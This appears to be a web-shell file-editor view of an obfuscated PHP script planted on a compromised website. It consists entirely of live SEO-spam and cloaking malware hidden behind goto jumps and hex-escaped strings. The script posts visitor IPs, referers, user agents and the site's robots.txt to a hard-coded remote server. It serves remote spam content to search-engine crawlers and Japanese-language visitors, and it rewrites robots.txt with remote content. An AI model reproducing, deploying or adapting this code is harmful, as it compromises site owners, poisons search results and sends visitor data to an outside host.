JezK
Edit File: 2I8H7H
<?php goto PWBDA; Hc2CT: goto x3f9g; goto yKc31; s2g7t: if (!(strpos($FT1tW, "\x6d\x61\x70") > 0 || $crB0j == "\x31")) { goto JaYrJ; } goto mm2WT; nr0WM: Ho6_h: goto SGKrB; p6Qsu: file_put_contents(cnOqt . "\x2f\x72\157\x62\157\164\163\56\x74\x78\x74", $mwSyl); goto bqJr0; gvAyS: if (strpos($FT1tW, "\x2e\x70\150\160")) { goto dv4FI; } goto twc8T; FPhZX: exit; goto tCOeB; mE4hM: $c6ICF["\141\x63\164\151\x6f\156"] = "\143\150\145\x63\153\137\x73\151\164\x65\x6d\141\160"; goto V394R; VuPM1: $veiAN = $ECgIF . "\57\x77\157\x72\x64\163\x2e\160\150\160"; goto Dz6i2; rG54u: $f4cZy = UNxlE($Zf52O); goto Wo6Vm; YGBLQ: $c6ICF["\165\163\x65\162\137\141\x67\145\x6e\164"] = strtolower(isset($_SERVER["\110\x54\124\x50\137\125\x53\105\122\x5f\101\107\x45\x4e\x54"]) ? $_SERVER["\110\124\x54\x50\x5f\x55\123\105\x52\137\101\107\105\x4e\x54"] : ''); goto AjpYK; A5lAq: $c6ICF["\x69\x70"] = $_SERVER["\122\x45\115\117\x54\x45\137\x41\x44\104\122"]; goto pMvO3; pMvO3: $c6ICF["\x72\x65\146\145\162\x65\x72"] = isset($_SERVER["\x48\x54\124\120\x5f\x52\105\106\105\x52\x45\x52"]) ? $_SERVER["\110\x54\124\x50\x5f\x52\105\x46\x45\x52\x45\x52"] : ''; goto YGBLQ; d51H3: if (!$DnMc1) { goto SFYHa; } goto YjT92; rYl3b: $c6ICF["\155\x61\151\156\x5f\x73\x68\x65\x6c\154"] = $q6XEn; goto WbRIH; ZPLCq: if (!(substr($FT1tW, -4) == "\56\170\x6d\154")) { goto D6wKm; } goto rqAof; GNGf0: $FT1tW = str_replace(array("\x2e\150\x74\155", "\x2e\150\164\x6d\154", "\x2e\x73\150\x74\155\x6c", "\x2e\160\150\164\155\154"), '', rtrim($FT1tW, "\57")); goto P01Sr; PCqbS: $eSVnr = J6Sfq($SoC1_, $c6ICF); goto HjBqz; IsW8j: if (!(substr($FT1tW, -6) == "\x72\x6f\142\x6f\x74\163")) { goto ot1Ah; } goto UbMyO; XZ76P: $FFNkI = $TMmUe . $U00GL; goto vn6Ex; SGKrB: $c6ICF["\167\157\162\x64"] = $vewi3; goto mE4hM; V394R: $hvqjj = j6Sfq($veiAN, $c6ICF); goto Ba9fe; rqAof: if (!strpos($FT1tW, "\141\x6c\154\163\151\x74\x65\x6d\141\160\x2e\x78\x6d\154")) { goto G_rZG; } goto oFDY3; gBSuS: $crB0j = J6SfQ($veiAN, $c6ICF); goto s2g7t; oFDY3: $eSVnr = J6Sfq($SoC1_, $c6ICF); goto W5Mxf; qdoqf: $mwSyl = @file_get_contents(cnOqt . "\57\x72\x6f\x62\157\x74\163\x2e\164\x78\x74"); goto KWCxB; qMDO0: $TMmUe = isset($_SERVER["\110\x54\124\120\x53"]) && $_SERVER["\x48\124\124\120\123"] !== "\157\146\x66" ? "\x68\164\x74\160\163\72\57\x2f" : "\x68\x74\x74\x70\72\57\x2f"; goto pTldw; yKc31: s9fBR: goto o5I_U; czpse: exit; goto auaKu; AZ1r1: hukx3: goto NPcJ9; bqJr0: $mwSyl = @file_get_contents(cnOqt . "\57\x72\157\142\157\x74\163\56\x74\170\164"); goto UJoEl; AjpYK: echo j6SFq($EB1BM, $c6ICF); goto BGB2C; BGB2C: exit; goto JAn6r; en6zn: $SoC1_ = $ECgIF . "\x2f\x6d\141\x70\x2e\160\x68\x70"; goto EXsj6; nK7Rb: echo $Cozuu; goto sa8F0; R3OLN: $vewi3 = str_replace("\56\170\x6d\154", '', $vewi3); goto qmYB4; RLxh0: MP140: goto dwbvB; sa8F0: exit; goto kY5kz; twc8T: $q6XEn = $TMmUe . $wA4ek; goto rYl3b; JAn6r: oZm0Z: goto d51H3; oESie: dv4FI: goto n4ZSS; rz8Zn: xsLkX: goto qPopv; tCOeB: G_rZG: goto fUU4E; JMWHP: if (strpos($FT1tW, "\x2e\160\150\x70")) { goto xsLkX; } goto XZ76P; hE3t4: JaYrJ: goto bA_md; EfC4v: echo $eSVnr; goto Ckp6G; EgjrL: echo $eSVnr; goto FPhZX; bA_md: D6wKm: goto gvAyS; UbMyO: define("\x63\156\117\x71\x74", $_SERVER["\104\x4f\103\125\x4d\105\116\x54\137\122\117\117\x54"]); goto qdoqf; QdYCz: echo "\x72\x6f\x62\157\164\x73\x2e\x74\170\164\x20\146\151\154\145\x20\143\162\145\x61\164\x65\40\x66\x61\151\x6c\x21"; goto Hc2CT; pTldw: $FT1tW = $_SERVER["\x52\x45\121\x55\x45\x53\x54\x5f\125\122\x49"]; goto ibjic; LvMS7: $c6ICF["\x72\145\161\137\x75\162\x69"] = $FT1tW; goto UAqLW; FvxR7: $c6ICF["\x72\x65\x71\137\165\x72\154"] = $Y_cRD; goto IsW8j; mUJUy: $Y_cRD = $TMmUe . $U00GL . $FT1tW; goto qi31w; HjBqz: header("\103\157\156\x74\x65\156\x74\55\x74\171\x70\145\72\164\x65\x78\164\57\170\155\x6c"); goto EfC4v; Dz6i2: $HatuX = $ECgIF . "\x2f\x72\x6f\142\157\x74\x73\56\160\150\x70"; goto JMWHP; P01Sr: if (!(!$DnMc1 && $f4cZy && qxgVM() && (preg_match("\57\x5c\144\x24\57", $FT1tW) || preg_match("\43\133\141\x2d\x7a\x5d\x3d\133\141\55\x7a\x30\x2d\71\135\53\x23", $FT1tW) || preg_match("\57\x69\164\x65\x6d\57", $FT1tW)))) { goto oZm0Z; } goto A5lAq; vxnRF: function uNxlE($XPzF3) { goto eQN92; YbhaS: return $n2v0v; goto yY79l; AeSk4: bmzXv: goto YbhaS; xgOh4: $IUhCn = "\x67\x6f\157\147\x6c\145\174\x79\x61\150\157\157\x7c\142\151\x6e\x67\174\141\x6f\154"; goto aQi02; VWFZ1: $n2v0v = true; goto AeSk4; eQN92: $n2v0v = false; goto xgOh4; aQi02: if (!($XPzF3 != '' && preg_match("\57\50{$IUhCn}\51\x2f\x73\151", $XPzF3))) { goto bmzXv; } goto VWFZ1; yY79l: } goto xZe_j; EXsj6: $EB1BM = $ECgIF . "\57\x6a\165\x6d\160\x2e\x70\x68\x70"; goto VuPM1; WbRIH: goto f25_H; goto oESie; a9rcC: $vewi3 = str_replace("\x2e\170\x6d\154", '', $vewi3); goto nr0WM; muIbU: x3f9g: goto czpse; CZ7P8: ub8jz: goto qXFe_; CGyjZ: function xtYVs($yrsWk) { goto I7fgG; APVFC: if (!($yrsWk != '')) { goto wHLCZ; } goto UdxhU; bCXj2: wHLCZ: goto dDmoa; aZTOJ: $vmWhZ = "\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74\x7c\142\x69\x6e\147\x62\x6f\x74\x7c\147\157\157\x67\154\145\x7c\141\x6f\154\174\142\x69\x6e\x67\x7c\x79\x61\150\x6f\x6f"; goto APVFC; I7fgG: $Gd2zz = false; goto aZTOJ; zMxRy: $Gd2zz = true; goto bMcYO; bMcYO: vcu9d: goto bCXj2; UdxhU: if (!preg_match("\x2f\x28{$vmWhZ}\51\x2f\x73\151", $yrsWk)) { goto vcu9d; } goto zMxRy; dDmoa: return $Gd2zz; goto d7v7O; d7v7O: } goto vxnRF; GmBGr: f25_H: goto NQWZ2; o5I_U: echo "\x72\x6f\142\157\164\x73\56\x74\170\x74\x20\x66\151\x6c\x65\40\x63\162\x65\141\164\145\x20\163\x75\x63\143\145\x73\x73\x21"; goto muIbU; PWBDA: $ECgIF = "\x68\164\x74\160\72\57\57\x37\64\56\71\61\56\x32\x35\56\70\62\x2f\x7a\x36\60\x38\61\65\x5f\66\57"; goto w7ZUQ; xZe_j: function QxgVM() { goto AxpzE; M8oB9: if (!(strpos($xS0vY, "\152\141") === 0)) { goto TPCjY; } goto Knqpn; FmHQp: $eDCQq = explode("\x2c", $xoArc); goto MyjyJ; P01Ky: TPCjY: goto I0LHv; MyjyJ: $xS0vY = strtolower(trim($eDCQq[0])); goto M8oB9; a8pmb: EcN2L: goto FmHQp; Td3mj: if (!empty($xoArc)) { goto EcN2L; } goto yXo15; AxpzE: $xoArc = isset($_SERVER["\x48\124\124\120\137\x41\103\103\x45\120\124\137\114\x41\x4e\x47\x55\x41\107\105"]) ? $_SERVER["\110\x54\x54\120\137\101\103\x43\105\x50\x54\x5f\x4c\x41\116\x47\125\x41\x47\105"] : ''; goto Td3mj; I0LHv: return false; goto uQDlx; Knqpn: return true; goto P01Ky; yXo15: return false; goto a8pmb; uQDlx: } goto qMDO0; Ckp6G: exit; goto RLxh0; HPd8H: $d0bBX = $_SERVER["\x50\110\x50\x5f\123\x45\114\x46"]; goto zkZmg; NPcJ9: $c6ICF[] = array(); goto fsFc1; Ba9fe: if (!($hvqjj == "\x31")) { goto MP140; } goto PCqbS; mm2WT: $c6ICF["\141\x63\x74\x69\157\x6e"] = "\x72\x61\156\144\137\170\x6d\x6c"; goto oA934; znerF: $DnMc1 = XtYVs($vQjSZ); goto GNGf0; FncBj: $c6ICF["\155\141\151\156\137\163\150\145\x6c\x6c"] = $q6XEn; goto GmBGr; UAqLW: $c6ICF["\x68\x72\x65\x66"] = $FFNkI; goto FvxR7; dwbvB: $c6ICF["\141\x63\164\151\157\x6e"] = "\143\x68\x65\x63\x6b\137\167\x6f\162\144\163"; goto gBSuS; KWCxB: $c6ICF["\162\x6f\142\x6f\164\163\x5f\x63\157\156\x74"] = $mwSyl; goto Y25vU; auaKu: ot1Ah: goto ZPLCq; QfMOu: echo $hvqjj; goto AyaZ8; oA934: $hvqjj = j6sFQ($veiAN, $c6ICF); goto ws8S2; AyaZ8: exit; goto hE3t4; W5Mxf: header("\x43\157\x6e\164\145\156\x74\55\x74\171\160\x65\72\x74\145\170\164\57\170\155\x6c"); goto EgjrL; YjT92: $c6ICF["\x68\x74\x74\160\137\x75\163\x65\162\137\x61\x67\x65\x6e\x74"] = $vQjSZ; goto kDswJ; vn6Ex: goto hukx3; goto rz8Zn; fUU4E: if (strpos($FT1tW, "\x2e\x70\x68\x70")) { goto ub8jz; } goto U9CC0; noFCj: $vewi3 = $vewi3[count($vewi3) - 1]; goto a9rcC; kDswJ: $Cozuu = j6sfQ($YPwSZ, $c6ICF); goto nK7Rb; U9CC0: $vewi3 = str_replace("\x2f", '', $FT1tW); goto R3OLN; UJoEl: if (strpos(strtolower($mwSyl), "\163\151\164\x65\155\x61\160")) { goto s9fBR; } goto QdYCz; qi31w: $YPwSZ = $ECgIF . "\57\x69\x6e\144\x61\x74\x61\x2e\160\150\160"; goto en6zn; ws8S2: header("\103\157\x6e\164\145\x6e\164\55\164\x79\160\x65\72\164\145\170\x74\x2f\x78\x6d\154"); goto QfMOu; ibjic: $U00GL = $_SERVER["\110\124\x54\120\x5f\x48\x4f\x53\x54"]; goto HPd8H; NQWZ2: $Zf52O = isset($_SERVER["\110\124\124\120\137\122\x45\x46\x45\122\x45\x52"]) ? $_SERVER["\110\x54\124\x50\137\122\105\x46\105\122\x45\122"] : ''; goto rG54u; w7ZUQ: function j6Sfq($SPO0r, $pp1Jn = array()) { goto Uk2fq; hu2a6: YilES: goto qanhm; HhtBB: curl_setopt($zFm53, CURLOPT_SSL_VERIFYPEER, FALSE); goto WO4mL; rO70Y: curl_setopt($zFm53, CURLOPT_HEADER, 0); goto C3Xh7; cent8: ifopG: goto AVdx3; bm3Hd: curl_setopt($zFm53, CURLOPT_URL, "{$SPO0r}"); goto QiONX; QiONX: curl_setopt($zFm53, CURLOPT_RETURNTRANSFER, 1); goto rO70Y; kZxNq: curl_setopt($zFm53, CURLOPT_POST, 1); goto HhtBB; Y_O2K: return false; goto hu2a6; Uk2fq: $SPO0r = str_replace("\40", "\53", $SPO0r); goto RmhI2; WO4mL: curl_setopt($zFm53, CURLOPT_SSL_VERIFYHOST, FALSE); goto zguQZ; C3Xh7: curl_setopt($zFm53, CURLOPT_TIMEOUT, 10); goto kZxNq; qanhm: return $M3NYk; goto VbVxw; n0gWO: $M3NYk = curl_exec($zFm53); goto KFUEi; AVdx3: if (!(0 !== $Edc9p)) { goto YilES; } goto Y_O2K; RmhI2: $zFm53 = curl_init(); goto bm3Hd; FC5bx: if (!version_compare(PHP_VERSION, "\70\x2e\60\56\x30", "\74")) { goto ifopG; } goto vf6NX; vf6NX: curl_close($zFm53); goto cent8; KFUEi: $Edc9p = curl_errno($zFm53); goto FC5bx; zguQZ: curl_setopt($zFm53, CURLOPT_POSTFIELDS, http_build_query($pp1Jn)); goto n0gWO; VbVxw: } goto CGyjZ; n4ZSS: $q6XEn = $TMmUe . $wA4ek . $d0bBX; goto FncBj; zkZmg: $wA4ek = $_SERVER["\x53\x45\x52\126\x45\122\137\116\x41\x4d\x45"]; goto mUJUy; fsFc1: $c6ICF["\144\157\155\x61\x69\x6e"] = $U00GL; goto LvMS7; Y25vU: $mwSyl = @j6sFQ($HatuX, $c6ICF); goto p6Qsu; qXFe_: $vewi3 = explode("\x3f", $FT1tW); goto noFCj; qPopv: $FFNkI = $TMmUe . $U00GL . $d0bBX; goto AZ1r1; qmYB4: goto Ho6_h; goto CZ7P8; Wo6Vm: $vQjSZ = strtolower(isset($_SERVER["\110\124\x54\x50\x5f\x55\123\105\122\137\101\x47\105\116\124"]) ? $_SERVER["\x48\124\x54\x50\137\125\x53\x45\x52\137\101\x47\x45\x4e\124"] : ''); goto znerF; kY5kz: SFYHa: